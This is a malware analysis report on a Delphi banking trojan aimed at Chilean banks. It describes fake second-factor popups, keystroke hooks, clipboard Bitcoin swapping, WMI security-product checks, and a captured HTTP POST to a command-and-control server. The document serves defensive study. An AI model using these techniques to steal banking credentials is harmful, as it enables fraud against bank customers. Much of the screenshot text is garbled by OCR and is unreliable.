Advanced Brazilian Malware Analysis

almost 4 years ago

Malware analysis sample with MD5 da3ae8369f32acaff188a5163adcf8al

There is no info about how the sample infects the system, this sample could have been dropped/downloaded in an initial stage infection. For
example, a common scenario, where an user receives an email with a malicious Word document attached. This word document could have
malicious Macros or an exploit that takes advantage of CVE-2017-11882 or CVE-2018-0802 vulnerabilities in order to download,
stablish the persistence and execute the second stage.

Moreover, the sample is a DLL and it is possible that it uses DIIHijacking to be more stealthy during its execution, setting an autorun
mecanism using the registry, scheduled task, service... pointing to the legitimate program that is going to load de malicious DLL.

Static analysis - MD5 da3ae8369f32acaff188a5163adcf8a0

[E1 pestudio 8.70 - Malware Initial A t - www.winitor.com [f=|-=
File Help
wHXx B8 7
[=ECE) c\user< Il desktop\new folder\ property value
I_Ill _ T '2*;"":5“] YRR mds DA3AFB369F32ACAFF188A5163ADCFBAD
"T: :"” ‘:tz (9 ; — U | shar A9ADAF22F3018F044 A1 770BD7D03437D&155028
..... o f lo: he:de(:(Jul ;:2} sha256 F45355892 AF923 AC4BDB49ESS A2DTES D590 CFD368678 BT ATEADDG3681B03583
E| optional-heade.r (GU) first-bytes (hex) 4D 545000020000 00 04 00 OF 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00 00
..... O directories (7) first-bytes (text) MZP i B
----- O sections (entry-point) size 5640560 bytes
..... O libraries (3/22) entropy 7,703
.57 imports (276/0/69) imphash 00A7 A1 CFEGBESS2062EAFA276FTTFE36
..... ~0 tls-callbacks (n/a) signature n/a
[ resources (unknown) entry-point (hex) 558BECB3C4COBS C4 COBBO0ES ACTEDY FFER
----- abe strings (wait..) file-version n/a
;@:_ debug (n/a) file-description n/a
----- B manifest (n/2) file-type dynamic-link-library
-{10] version (n/a subsystem GUI
|Egl certificate (30/12/2020) compiler-stamp Thu Jul 12 19:33:00 2018
debugger-stamp n/a
4 [[[} KN 1 | 3
sha256: F45355992AF923 AC4BDB49EG91 A2DTE3D590 CFD2686T8BT ATEADDA3681 BO3583 cpu 32-bit  file-type: dynamic-link-library  subsystem: GUI

The sample is a DLL compiled with Delphi, the Compiler timestamp: is 12/07/2018 (it can be modified), with a "valid certificate"
signed by ITWAYSUK LTD.

VT Detections
Certification path

The sample is detected by 33/65 antivirus engines, as "Trojan.Banker ] The USERTrust Network™

{3 COMODO RSA Code Signing CA

----- a5 LD
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[ File information

-0 dos-stub (192 bytes)
-0 file-header (Jul.2018)
. [0 optional-header (GUT)

w

TMethodlmplement... text00462EB4
QOAKNGCXIIRCSRR...  .text:006BCOT74

=

O Identification @, Details @ Content U Analyses & Submissions @ITW ®, Comments

14 > + + McAfee 6.0.6.653 20180719
McAfee-GW-Edition v2017.3010 20180719

2018-07-21 20:36:23 33/65
Microsoft Trojan:Win32/Tiggre!plock 1.1.15000.2 20180719

2018-07-19 08:11:51 25/65
MicroWorld-eScan 14.0.297.0 20180719

2018-07-18 07:05:40 21/65
NANO-ANtivirus Trojan.Win32.Banker1.ffkiky 1.0.116.23366 20180719

2018-07-16 20:02:45 12/65
Paloalto generic.ml 1.0 20180719
Panda 4.6.4.2 20180718
Qihoo-360 1.0.0.1120 20180719
Rising Spyware.Mekotiol8.F5DF 25.0.0.24 20180719

(TFE:dGZIOgXgSX/c2LZ/TA)
SentinelOne 1.0.17.227 20180701
Sophos 4.98.0 20180719
pestudio 8.70 - Malware Initial A - v com =N ECR| =
File Help
whhlx8 7
Blﬂ clusers',  wdesktop\new folder | grdinal (4 name (4) location blacklist (0) duplicated (0) anonymous (0]
i indicators (wait..] 1 dbkFCallWrapperAddr  0x006DDSAC )
] virustotal (25/65 - 19.07.2018) | , _dbk feal_wrapper  .text004110Ad -

The sample has 4 exports, dbkFCallWrapperAddr, _dbk_ feallwrapper and TMethodImplementationIntercept exports are usual in
DLLSs compiled in Delphi XE6.

QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP is the export that performs the malicious operations.

Certificate
E lio 8.70 - Mal Initial A - www.winitor.com
File Help
whHl X B 7

25 cusers’,  desktophnew folder
----- Jdil indicators (wait..)

----- §7 virustotal (25/65 - 19.07.2018)
----- O dos-stub (192 bytes)

----- O file-header (Jul.2018)

----- O optional-header (GUT)

----- O directories (7}

----- O sections (entry-point)

----- O libraries (8/22)

4y | imports (276/0/69)

----- v exports (4)

----- ~a tls-callbacks (n/a)

----- 4 resources (unknown)
----- abe strings (wait..)

4% debug (n/a)

----- g manifest (n/a)

{11 version (n/a)

WER| certificate (30/12/2020)
----- L] owverlay (wait..)

name type

Thawte Timestamping CA Signer

Symantec Time Stamping Services CA - G2 Signer

property value

name Thawte Timestamping CA

Organization

Street

Postal code

Valid from

Valid to

Serial Number

CRL Distribution Point
Signing Time

Email

Thawte

n/a

n/a

21/12/2012 00:00:00
30/12/2020 23:59:59
n/a

n/a

n/a

n/a
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The signer is ITWAYSUK LTD, and it looks valid, malware developers uses stolen certificates in order to sign malware to bypass Microsoft
SmartScreen Application Reputation engine.

#### PE SIGNATURE

Serial Number : 23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
Signers : ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
Counter signers : Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte

Timestamping CA

Dynamic Analysis - Export QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP

The analysis starts executing the export QQAKN6CXI9gRC5RRTFXN13SHVYHD9KOR4SP.

Mutex creation

339C55F821DC21D8012F20B87EA348F623

sLCAL .U BUL B
.text:020BCABY Check_HMutex proc near
E1P) -text:0828BCHBY push ebp
-text:08208BCHO5 mov ebp, esp
text:0828BCAB7 push offset Hame

CODE XREF: NOAKHG6CXIPRCSRRTFXN13SHUYHDQKORLSP+31p

"339C55F821DC21D8 012F28BB7EA348F 623"

H
-text:082B8BCABC push 5] ; int
-text:828BCHBE push a ; lpHutexAttributes
-text:08268BCH18 call _CreateHutexW
text:0828BCH15 call GetLastError_1
-text:0820BCH1A cmp eax, BB7h
.text:828BCO1F jnz short loc_28BCAZ2E8
-text:828BCA21 xor eax, eax
text:028BCH23 call ___ Runtime_error_HMessageBox_ops

-text:820BCH28
-text:820BCH28
-text:020BCH28 loc_2BBCO28:
.text:08208BCH28 pop ebp
-text:8208BCH29 retn
-text:828BCH29 Check Hutex endp

CODE XREF: _Check_HMutex+1BTj

Then uses FindResourceW in order to obtain the resource YSLNCZ6BLW:

020BBD86 mov [ebp+uar 8], eax
B26BBD83 push offset a¥8lnczbéblw : “VELHCooBLWT
828BBD88 push BAh

020BBD8A mov ecx, ds:hmod
B620BBD?28 mov dl, 1
826BBD92 mov eax, ds:off 1E9859C
928BBD?7 call __FindResourceW and IAT_IF1 Switch
020BBD9C mov [ebp+uar C], eax
This resource is read when the execution starts, could be part of the configuration of the GEBSZYZ MOV eax, Leop+ipiupe]
malicious sample. G1EB2295 push eax 5 1pType
B1EB3296 mov eax, [ebp+lpHame]
Check infection B1EB3299 push eax s lpHame
B1EB329A push esi ; hiodule
It creates a file in C:\Users\[USER]\AppData\Local with the name G1EB329B call FindResourcell
"rundll.exe.txt". If the file exists the system have been infected before. g: Egg;:g 233 fg;;;;:] , edi
01EB32A5 test edi, edi
It uses de name of the process that launch the DLL to create the name of the file: G1EB32A7 jnz short loc_1EB32B8
[NameOfTheProcess].exe. txt .‘

urceW and IAT Infernal Switch+lé (Synchronized witl

In addition, checks if testyy.txt file exist in the path

%ALLUSERSPROFILE% \testyy.txt DB S e e
88 B8 B8 +___1...----....
Decoding strings on demand NN v.8.L.N.C.2.6.B.
FF FF FF L.w.:...:...""

This sample decodes the strings on demand.
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B238A94F lea edx, [ebp+var_14]
8238A%4A mov eax, offset a76e76a9d5dB6ce67BBD7ST ;I"?6E?699050868E6?883?5?"I
8238A?4F call _string_decode
8238A954 mov edx, [ebp+var_14]
8238A95F lea eax, [ebp+var_18]
8238A95A call _After_string_decode_check_edx
8238A95F mov edx, [ebp+var_18]
8238A962 pop eax
B8238A963 call sub_28DB668
8238A968 mov eax, [ebp+var_C]
B238A96E mov d1, 1
08238A96D call sub_28F468C
B8238A972 test al, al
B238A97L j=z short loc_238A985
= * = *
I E]
8238A976 mov eax, [ebp+var_8] - |8238A985
8238A979 mov edx, offset asi ;I"SI" B23BA985 loc_238A9BS5:
B23BA9YE call sub_28DACLA | |8238A985 mov eax, [ebp+var_8]
82380983 jmp short loc_238Aa992 B23BA%88 mov ed®, offset aHo_5 ;I"NU"
B8238An98D call sub_28DAC4A

il s =

82381992 8238A9A1 call  sub 28D9F48

8238A992 loc_238A992:

8238A992 xor eax, eax |

AZARA994 nnn Prx
68: sub 238R904+64 (Synchronized with EIF)

O &8 X |@ Hex View-3 | @

60 00 00 B0 00 00 B0 ... 38D......... . |[a9u306C 08 80 B0 08 AO 88 ¢
B0 0O 00 60 4F 92 B0 G&G......... 0K _||sponze7c 80 26 94 80 01 60 €
80 60 08 B0 00 B8 BO . ..o..o.ooo.o.. | |loponzosc 80 8o oo oo 88 oo ¢
60 60 00 6A 00 00 0O C&G.S........... 6094309C 8O 26 94 08 E4 684 €
5c 60 60 06 60 00 00 [A\Trusteery]..... ooou3enc [ 54 72 75 73 74 6
AR AR AR AR AR AR AR no M AANL2 ADM o/ 25 NL AR 0L A 4

This technique makes the extraction of the strings more difficult.
Strings deciphered:

Ciphered
508DAE6287

7FC37BA858E96384B3A0BF2FCD789ABD78D81BBC7CEB13BB7EC4769B499F4580AF609DD96BE00458FAG4

1C4D2818082A9658

0B52F322C66DD06197B14DA945ED21D618BF75DB758DB61222A246F92675EA5482AA5EE91BB440BC2EDEOC

6DF73DE34AC60227D0699D36CB74A65D

A8DB1DCE72933DF71BCD024533C6699A5CEB0848E166

48BB7DAES52F35D97BA6DA32B1D283E180B46E2¢

0851F223C76AD56492BA5492AD5487B076DD17B95B81A72FC60020C156AA70D50E37E16F91CF13B711C97992E20C26D87DA43F84B6B¢

76E76A9D5D86CEG788B757

E57BB96F919DF87B9BB0578BB95E9043E76FCE0022BCAG33C11026CB0849FAS5F82B46DES6D9BOB3DOC42F7207BBC7FAS

65F41E2C3CC62A38CE59F677B65F9046EB639A3DD41FC50D24A54AEF5895B92122D3024DEG6CB139AE689A4387A2A4

DB1AD47BA9405AC87DA04E84B1568BB270E6

589E51F328DB74EG0E3CE2658E3E9354F823D0033923C47FDF11C6

B5C959E662E2100F08

185BF60815007BEB

99C559E66A

0B6CFB13160B78EF7B80FE

9DD873899E99D243

1C68E867

1A7EE257EA1844E86FAC53BF4539C27B8FCEG7FC3AA354F27FEG66CE456AD8BECS51FF73
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Ciphered

09638E43CA46ACA043E9719ABB63E47D9A33CC1514B1A9E37BFF03372641C01DCA55CF1CD96DF058F01F291EBCAG82B23EE978D05C

3B9BA85983BA28D97FA04F

2FA450FF2DCA1ADAODCD7EC3719F4E

34A351FB22D170B0649F4286

D37DB95A86AF26D4073F

0959EC1CDE0240F628D67FC2678DBB679D29D80E31A557

78EF32D8073E95598AA650

2FA450FF2DCA1BD30425C90E39EE20C964E80B5SD8F30DE77BE1E28D872D36F

CA18D77A91548D5382BC68FA38

A5D26291BA7CF509C46BOE30F5

61F60E3DEE085F9D48E10443F9

C21EDB0823D3013CDB063B975E8FB569

D3092EDAOED40337E108

1542F228C77DD16890B8

67E20A36D5194AE411CE77D96DA549ED36AF

D40235E20821B346F61534AA41E80B

36AD5986A74192558DA34B89

6FE4103FECOA5AEC1431D9758C

FA50E91DDF17B74EFF3DEC6182A65B

D40235E20821A051FB3DDD7FB55E91

98CF6794B97FDC0227

78EC0628C361E4153AE306

F0669141EAO0C4BE30335E47DA764

D30332E10B2CA143F314C5073EE40F38F46E89

499E5685A640975482BF61F136DC7F

WMI using monikers

The technique that the malicious sample uses to execute the WMI commands, is through the use of monikers (https://docs.microsoft.com/en-

us/windows/desktop/wmisdk/constructing-a-moniker-string)

Using CreateBindCtx in order to create a bind context, then the function MkParseDisplayName will be called to create the moniker and
finally, BindToObject will be called to execute, in this case winmgmts:\localhost\root\SecurityCenterz2 to obtain info about the

antivirus, antispyware and firewall.
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828B927E push eax 5 ppbc
828B927F push a ; reserved
82089281 call CreateBindCtx

82889286 call sub_1FBASDS

828B928B lea eax, [ebp+var_14]

828B928E call _call eax_#8

82889293 push eax s ppmk
82889294 lea eax, [ebp+pchEaten]

82889297 push eax ; pchEaten
820889298 mov eax, [ebp+var_X4]

082889298 call sub_1EBC49C

828B92A8 push eax : szlserMame
828B92A1 mov eax, [ebp+pbc]

828B92A4 push eax 5 pbc

828B92A5 call MkParseDisplayName
828B92AA call sub_1FBASDS
828B92AF mov eax, [ebp+var_8]
828B92B2 call _call eax_#8
828B92B7 push eax

nized with EIP)

[m
B8 88 22 B8O A0 BB CF AA ED O1 OO0 B0 60 B0 )...)...—-a.....
C 81 98 E6 7C 82 77 00 69 80 6E 80 6D B0 | .n..p|.w.i.n.m.
50 B8 Y4 8@ ¥3 88 3A B0 5C A0 5C 688 6C A g.m.t.s.:.N.h.DL
53 88 61 88 6C B8 68 A8 6F AA 73 688 74 B o.c.a.l.h.o.s.t.
72 88 6F 8@ 6F BB 74 00 5C A0 53 88 45 B0 \.r.o.0.t.N.S.e.
f5 68 72 80 69 80 74 00 79 60 43 80 65 80 c.u.r.i.t.y.C.e.
4 B8 65 B8O 72 98 32 00 39 00 36 00 42 80 n.t.e.r.2.9.6.B.
30 60 30 60 34 60 35 [ 28 00 46 00 41 00 E.0.8.4.5.8.F.A.

With this interface the malicious sample has the ability to use WMI.

Some of the commands executed with this method:

Command Description

winmgmts:\localhost\root\SecurityCenter2 WMI Service to obtain info about installed security products.

SELECT * FROM AntivirusProduct Info about Antivirus (Enabled or Disabled)
hnetcfg.fwmgr WNMI Firewall Service to obtain info and control the firewall policy
Core

The core funcionality of this malicious sample is performed using callback functions:

ZKQPWNPDYEQWZ06VVHSZACIYLCPGKRBQNVHCM (20 components) = a1l BUsStrEqual
OnConnect=TZKOPWHPDYEQWZOGYVHSZACTYLCPGKRBANVHCH VaAI38Y QR84 GT 3KLOOKFI - | 2 e fahnsl

0OnRead=TZKOPWNPDYEQWZ0BVVHSZACTYLCPGKRBANYHCM VEAI38YQ234MGT 3| [2004]
OnError=TZKQPWNPDYEQWZ0GVVHSZAC1YLCPGKRBANVHCM VBAS38YQ254MGT 3l
- PINOEPEFZU727QV! T2J6BTO7:IT)
OnException=TZKOPWNPDYEQWZ0EVVHSZAC1YLCPGKRBONVHCM PINOEPEFZUT2
=+ ZHODKTIWNPQEIRGZROGKETMKSBES:TTimer
OnTimer=TZKQPWNPDYEQWZ0BVVHSZACTYLCPGKRBANYHCM ZHODKT MNP GIBGR | s, 1o s e
= QAZNL1Z2XYDEQ4REVOSUSD3IFI79SVOPJMBEYTTimer | 1
OnTimer=TZKQPWNPDYEQWZ0EYVHSZACTYLCPGKRBANVHCM. OAZNL 1 2XYDEQ4R!
= T32PPLIZXCGXFWFAS2RAZLBPKTERY ITTimer
OnTimer=TZKQPWNPDYEQWZ08VVHSZACTYLCPGKRBANVHCM T32PPLIZXCGXFWI
=+ UIRTEXEHPWC1CKFGNAIOMOTKFLBEFEIKJNBW:ITTimer
OnTimer=TZKQPWNPDYEQWZ0EYVHSZACTYLCPGKRBANVHCM.U1RTEXGHPWCACH
= TAWVARUSXGTE33DAYCM2MIGMNIKQ10UAQOGQQAE: TTimer
OnTimer=TZKQPWNPDYEQWZ0BVVHSZACTYLCPGKRBANVHCM TAIVIRUSKXGTE3SI
= Y1B6YPEY4EN3855TEOGOCVIED2ZCWBETP1VRLITTimer
OnTimer=TZKQPWNPDYEQWZ0EYVHSZACTYLCPGKRBANVHCM.Y 16YPEY4EN3855TI
= KPON45QXMSULUSPAS2QBVWYXWABITClientSocket
OnConnect=TZKQPWHNPDYEQWZ0EVVHSZACTYLCPGKRBQMNVHCM KPON45QXMSULL
OnError=TZKQPWNPDYEQWZ0BVVHSZAC1YLCPGKRBONVHCM. KPON450XMEULUSH
= X735FBST3BAWGKTCXYZEMT1NE495SCR:MTimer
OnTimer=TZKQPWNPDYEQWZ0BYVHSZACTYLCPGKRBANVHCM X7 35FBS73BIWG,
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These callbacks are implemented using timers and Windows Hooks (using SetWindowsHooKkEx)

The different functions of the callbacks obtain info about the state and position of the windows, using functions like GetDesktopWindow,

GetTopWindow, GetWindow

v 1YL CPGRFINVHL

i

L

2P NG VY204 FEARMLOGETXAL TFQE TEdR
RPBAD Y AIEHT OGO 2 6P O ESANIUTZAAD LISt
GIKIPZYES R0 TPANAMLIIBZEN TLisBar
SILRCHE TAUZLBEIN LIV FUZELT Tema
FHIEOBMBEDTHEBLKRV.EE 10F SRIZTG TS T ma
BGKSTOIMEICEF HEILIZ D2 CIDGBALAF BER Thema
LESYGETEIAEIFWILTEVAPHTIZ THemn

£ SALYGTTEIIGEN

LOHTI:

CoGameT L
E i 20
O BRAVGTTBICK M_DHTAKRead
OnErme LOHTIKEmar
o FIPOVSEL BWIRBSES T HDBHIIKLMVZBRGO ToNeiSarket
o FTPOVSEL
OnErme
5 WBABIET 24N 57 3L IFHF B JIABLGWTGHVALAF ITCient5 nckel
rrer TIKLO! LAFCamect
o LiFRE
OnErme BABIE [ALFEF. LAFEsmar
& FINGEPEFZLITZT GHIABAaNGTZIBETON ITApplcabiarEvemts
EnEccaption=TZKLFWHEDY FINOEPEFZL
£ ZHIDHT PO BRI ZRDGHETWESEEN TTTmer
rr
- DAZNLI 2 DEQURIVGE SO ITISVOP JVEEV. TTimer
T ESVOPMBETImar
& TRPPLAZACGNFWFASR SZLAPKTEIY. MTimer
cF TIZFRL BPKTE Timer
5 URTORIHPWE 1CHF GHA INGTKFLEEFERNEW TTimer
Cim cr
5 TANBRLENGTRISCAYCUEM KT DLAGDG RaE T mar
rr
& TITYPIY4ENIBS STERG DGVIEDZZCWENTF TR 11T TTimer
= mer
1 LUEF RS20V NI ITCH entSacket
o L 3B enned

EnEnE

£ NSRS TIBWTTC X DOUT INE 360 TTimer

=

call SetuindowsHookExy

L1 [ebpennk], eax

xor rax, eax

push Bbp

push  offset loc_22KBA2Y

push duord ptr Fs:[eax]

L Fsi[eax], esp

inp short loc_Z2R80FF

'
=

loc_ZINBOFF: ; whsgFilterax

push @

push @ ; whsgFilterding

push @ hiind

lea eak, [ebpihsg]

push Bax : Iphsg

call Eetnessagel

test  eax, eax

nz short Loc_Z2NERED

L
¥ v
xor eax, eax imp short loc_22h8R1F
pop i loc_22489ED:
nop L= lea ®ax, [ebpehsg]
pop B push eax i lpMsg
Ly Fuz[eax], vdx call TranslateMessage
push 0FFset 1oc_22WBAda) 1ea eax, [ebp*hsg]
push  eax ; lphsg
call DispatchMessageW

ZRETHED T
call  GeEbeskCopHindes
u: rax P
call  GetTopdindow
i

rou eni, eax
Jnp short loc_PRETESE

nc_2EETASE:
kest  oedi, edi
oz short loc ROETEAA)

esi, esi
chort loc POETEE2]

loc_ZRETERE:
u

o ik,
oy s, o
wax

" T —

L]

wax, [ebaed]
edx, [espeiBhevar 18]
wan, [eaxsadaes]
i, [rax]

g shoft loc_JEETESE

In addition, the functions check the keys introduced by the user using GetAsyncKeyState function:
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push 110 3 ukey
call  GetAsgnckeyState
mousx  eax, ax

shr pax, UFh

setnz  [ebpsuar 9]

nay rax, [ehpsvar 8]
chp dword ptr [eax], ¥
jnz short loc_ 22488 0F

enp [ebpsuar 9], B
iz short loc_ZZ48E0F |

Loc_ZZSE0F

Mo eax, [ebpruar 8]
test byte ptr [eax+8], @Ak
jz short loc_2Z48B2R
L
L]
=
cnp [ebpruar_0], 8
iz short loc_22WBR2A

now pax, [ehpruar 8]
. dword ptr [eax], 1Bk

If it detects that the user is trying to transfer money using the web browser from one of the Chilean banks that monitors, it will steal the user

credentials in order to perform money transfers to another account.

In addition and due to the use of the second factor is nowadays something common, a way to obtain the second factor code using social

engineering has been implemented.

The technique consist in show a popup asking the user for the second factor code.

Bank steal info (second factor)

B Ta Foan

ISR )

[T cmmer 2 SEINTWEZRSY {FRLEIECE D) EZ5H
TGkl THFESERF 6501 747507000 T ((GAL THFESRE0F 650179750 Twads viLl)

Teak

THZHNSE. 1 (HZHHSE 13

T (RCHTHILTIEE 1V S

Tha s FYRmE S THE TIBHS KM ST (FoasT Tawu3 BT T S AT ST )

TTZERSES L1 SETAIRE M IF ST IVINEIENE | TIERRES L1 SET SRS P G 20I05 S0 )
WASTEFQASEZ (MR TEFRASET

HETHE]

v YRTE G4 G D 1WERP T INCEIICUL N {WE-TR0IF | MXRVRT 4005 65 D0 1UERFT INCRRICHL |
TOTSIXT I 7w 0 1 uic 7 (orsxaT
TR RIS TR (LT R —
TRY. {TRT AT IEeiHE ) l
TrSH TRz 1Bz}
A7 6T At YL LR | AP UFBTERIZ 06l TaE 1 L LaRE TG ) BBVA

FOLG GAC| B

FIOLCADR PRI RMASELAT WOEZ S
D36 TFOL GADRCF 2RO0RZIHA SELU T

OnClicks TFOL G4 CRCF SR RTINASE
RENDFR0MFPNCASOTIORL $CB LS|
ECO74FOPFTADS MGHNT 1TPRBEEREIT|
MELKLDAEAWGREORCDDFE LUV 6L
115 MTCHEM BN REEVAHORIC TH
ONClicka TFOLGACACFIADRTHASE

i+ (C0H RS STKAI0ELNBULCONFS)
3+ EMABDAVPAILOM L IBHNDGPREOKIVET
- ¥SCELAKHRIVIALLTLFIIDKT 1 JCEEE!
LIS SF DN HEL FHE TE
CHLINLIDUSPCOTZTRIZILALEY.
A DEOAE D HY CHOT T B0 SERT

PHITBYG GG 121507 06701
TApplicatinnEuent s=pefanlt PALDSYEOAATA4S5L DEGEIL KESFIE ™
TEllentsocket=befanlt . G v
Thauge=TCoauge
TTimer=Default

There are several forms to accomplish this task.

AN, AL VT SIS | 3L S

A

chp,ep

wsp. 0 s

suard pLr [ebp-5],edx
duard pLr [sbp-i].eax

CONFIRMAR

skt e [[USLECT
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. S = « g JETSS—

FULCAACF2RINAZERASHINTMIEZGS] FILGANACF2RO0AZRESE N M)E 2E51 push whp
:un|.nr:vuourovuuvrsnruuurm ABALTHFESUBUFARCATRTE0TUNRFYR.D Py ebip esp
o P
} push F
OCOTHILKSAX TN, ADCOTRILKSEY T, push *
“PURSTVRUVLIGOYRLT SHOERERVEIRT {PUKSTYRUVLIGDY LT SROSAERIARINT | i
TZERBASTLIMATAOURIDOPEKT2UZHSIBNI {TZERBBS TLISATAOURID0SPAKT2U2ZHE JBN } dne ]
“UDEHJITEFQR5SHZ 8KRESHREOEBCAN TN {UDEH.J3TEFIa5H2 1 8KRESHRORBC AN 11} push CUEY
URIBEIF KB AGUSFGF X0 WGAPZ SHERUICIL S {URSIBE.IF SRXBMFG6UZFCF K0 THGRPE SHERLICH.
CUTSRRTEYTUL 0100,
) TRZMINGIGETATUHS T {UULUYKZP GGG TATUHS
VI JIYPRD 4, I
YEeITN L 4 FOLGOACFIRMRZ0ES EMIWOEZGEL (34 comporsn. ) BBVA
- e FOLCA0R CEZCEL B
0 Gt TFOLEHORCF TRDGRTHASEL TN
0 Dt TF O GAOACF IROORTIHASEL
O S TFOL CAORCF 2R OORTIMASELM W,
LOOPASAMAHL COFES45) AYCIP TPam
KPR DHBGKEPGEFHTS0KIH
SO0STRNFANKERHEEY
A VA SSEAL BN TS IEICE IHWOGIN 1N
REAIFI PRI LIS B S
- EGITFOPFTADSYURHNT TPAESH1GPIIVT
PAHAT BYC CAWC USRS BOESIT 115070000
FPALOSYECANTA4S5UIMIDEGC SILBESFIE
LEEEL 00aIEACIKTHEIL TLGDSTH
Ifgplicatisetorats-aeromlt - WPKFBCE DS16F N BLPHESH,
i - e p
N = QDOFWIDEKVHREEMEBACTOZ WAL

ITinge-tafauit Ve AL VITOCORZSNALUCIKST I TRan
HPIL 4 CALIA RGP CE SR BN
SO KEGR MU 20T 18KRETL 7

[ de / aCitn
CONFIRMAR

VLA 50 T EMEMIRSEVH HO P T

e
rvClick: = BVLIZSMTOSEMIBZNIREGVHO PIDL Chek

.Trusteer

As it can be seen, there are specific forms in order to make the scam more effective.

Affected Financial Institutions:

TR (LARET AT AN WA G AL | — o
TETERDR T PR MW

1 (O TIPS UEIAD [ SO L | S TUHS
FFPRAZVELIL VT ZHOP SRRNSEF §

1 M)

de Autorizacion
CONFIRMAR

v tsuTodEmtE IR HO g
Rk = BVLLIMTOSEMIEINZ RV HOPDL Chick

= Trusteer

N ST LASWET SEAT A AT < A |
T BT SR TEF M)
A ELSTHIF 1S TN | 21 M ACE1 S THe
PRRIECELNY T IHIFIREES )

FOLGICAC] o 2]
FOLGADRCF IRBORIINANEM IWTEZGEL

R RIIISELI 1 WEE

CFIRRIRIATEL |

acion de da

CONFIRMAR

smarctoper TFUSLEET
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Autenticacion de datos

Dependemos de la veracidad de los datos
para confirmar su identidad

Verifique que el nimero de serie de su Tarjeta de coordenada
3000000000¢
Si es asi, ingrese el valor de las siguientes coordenadas

AL AL A1
CCONFIRMAR

desamtadopor TFUSLEET

o colular enelbanco
debe ser ingresado en los

Ingrese aqui el codigo que acabamos de enviar a su celular,

CONFIRMAR

s Do Auer©

desarodoper FUSECET

procedimientos se realizan para su total seguridad con
us datos y la confidencialidad de la informacion.

Para completar Ia verificacion se necesita el cédigo
generado por el dispositivo de seguridad N¥: o1zzsserss

CCONFIRMAR

Derschcs o Aukr O2018,TAU

sosamsiodopr TFUSLEET

Looking the images:

¢ BBVA Chile

¢ Santander Chile
¢ Banco de Chile
e BCI

¢ CORPBANCA
¢ BancoEstado

e Scotiabank

e Itan

e BancoBice

¢ BancoSecurity
¢ Banco Internacional Chile

Looking strings (deciphered):

e Scotiabank

e Banco Consorcio
e Banco Bci

¢ Transbank S.A
e HSBCnet

¢ BTG Pactual

e Banco Bice

¢ Banco Edwards
¢ Banco Condell
¢ Banco Ripley

¢ BBVA Chile

¢ Banco Falabella
e Banco Estado

& Santander

rocedimiento:
la proteccion de sus dat

realizan para su total seguridad con
y la confidencialidad de la informacion

Para completar la verificacion se necesita el codigo
generado por el dispositivo de seguridad N°: 0123456789,

CCONFIRMAR

CORPBANCA ©

Esta clay

Ingrese aqui el c6digo que acabamos de enviar a su celular,

CONFIRMAR

sosaroiaoper TFUSLECT

Autenticacion de datos

Dependemos de la veracidad de los datos
para confirmar su identidad

Verifique que el nimero de serie de su Tarjeta de coordenadas es
2000000000

Si es asi, ingrese el valor de las siguientes coordenadas.
a n A
CONFIRMAR

ros Do Aukr 2018, Banco B

samtosopr TrUSEGE

Banco de Chile

)

Autenticacion de datos

Dependemos de la veracidad de los datos
para confirmar su identidad

Ingrese el valor de las siguientes coordenadas.

Al AL Al

CONFIRMAR

s Do A © 201, B

desamaodopr TFUSEC

A |

BancoEstado

1os Do A 2
dosaodopr TIUSEEES

Ingrese aqui el c6digo que acabamos de enviar a su celular,

CONFIRMAR

o A Q2010 Barc

P Truste or

O

Autenticacion de datos

Dependemos de la veracidad de los datos
para confirmar su identidad

Si es asi, ingrese el valor de las siguientes coordenadas.
n n n

CONFIRMAR

cesarotadopr TTUSLEET

Scotiabank

©)

Autenticacion de datos

Dependemos de la veracidad de los datos
para confirmar su identidad

Verifique que el ndmero de serie de su Tarjeta de coordenadas es
Si es asi, ingrese el valor de las siguientes coordenadas.

ss
CCONFIRMAR

S————

dasamctadoper TMUSLLE

Por favor,espere a que la instaiacion finaiice.
So pusden solictar algunos datos para autenticar l usuarlo.
Por favor no use el raton o o eclado hasta que se le solcite.

dasamotaoper TTUSLEET
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¢ Banco de Chile

¢ Banco Santander Chile

¢ Banco Itad (bancoita)

¢ Banco Security

¢ Banco Internacional (Chile)
e Banco CorpBanca

Clipboard cryptohijacking

Another characteristic of this malicious sample, is the ability to detect and change the user BTC address from the clipboard by the hardcoded in
the malicious sample, with the objective to trick the user to send the funds to the cybercriminal BTC address.

BTC address used by this malicious sample:
163McXwBrc9S7JzbgegzVuw7QTJI9H1dQj7

Communication

The sample establishes communication with the domain hxxp://dbcadastro.com/cadastramentoS5/ponto.php (IP 162.241.2.61), the
server returns "a FALSEfalse o".

No. Time Source Destination Protocol Length Info

6 9.150688948 5 66 49199 —~ B0 [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS5=256 SACK PERM=1

7 9.304585038 162.241.2.61 172.16.130.167 TCP 58 BB - 49193 [SYN, ACK] Seq=0 Ack=1 Win=64248 Len=0 M55=1468

8 9.385360453 172.16.130.167 162.241.2.61 TCP 54 49189 - B8 [ACK] Seq=1 Ack=1 Win=64248 Len=0

9 9.306691134 172.16.130.167 162.241.2.61 TCP 330 49199 - 80 [PSH, ACK] Seq=1 Ack=1 Win=6424@ Len=276 [TCP segment of a reassembled PDU]
10 9.386783440 162.241.2.61 172.16.130.167 TCP 54 88 - 49199 [ACK] Seq=1 Ack=277 Win=64240 Len=0
11 9.386896601 172.16.130.167 162.241.2.61 HTTP 158 POST /cadastramentoS5/ponto.php HTTP/1.1 (application/x-www-form-urlencoded)
12 9.306954925  162.241.2.61 172.16.130.167 TCP 54 80 - 49198 [ACK] Seq=1 Ack=381 Win=64240 Len=0
13 9.658330706  162.241.2.61 172.16.130.167 TCP 234 80 - 49199 [PSH, ACK] Seg=1 Ack=381 Win=64240 Len=180 [TCP segment of a reassembled PDU]
14 9.6597498%8 i i o R oA Gl
15 9.6601803! Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_vmnet8_20180722164858_dEgSdr
16 9.6610819¢
17 9.6612556

POST /cadastramentoS5/ponto.php HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*

Accept-Language: en-us

User-Agent: Mozillas4.0 (compatible; MSIE 6.8; Windows NT 5.0)
Content-Length: 104

Host: dbcadastro.com

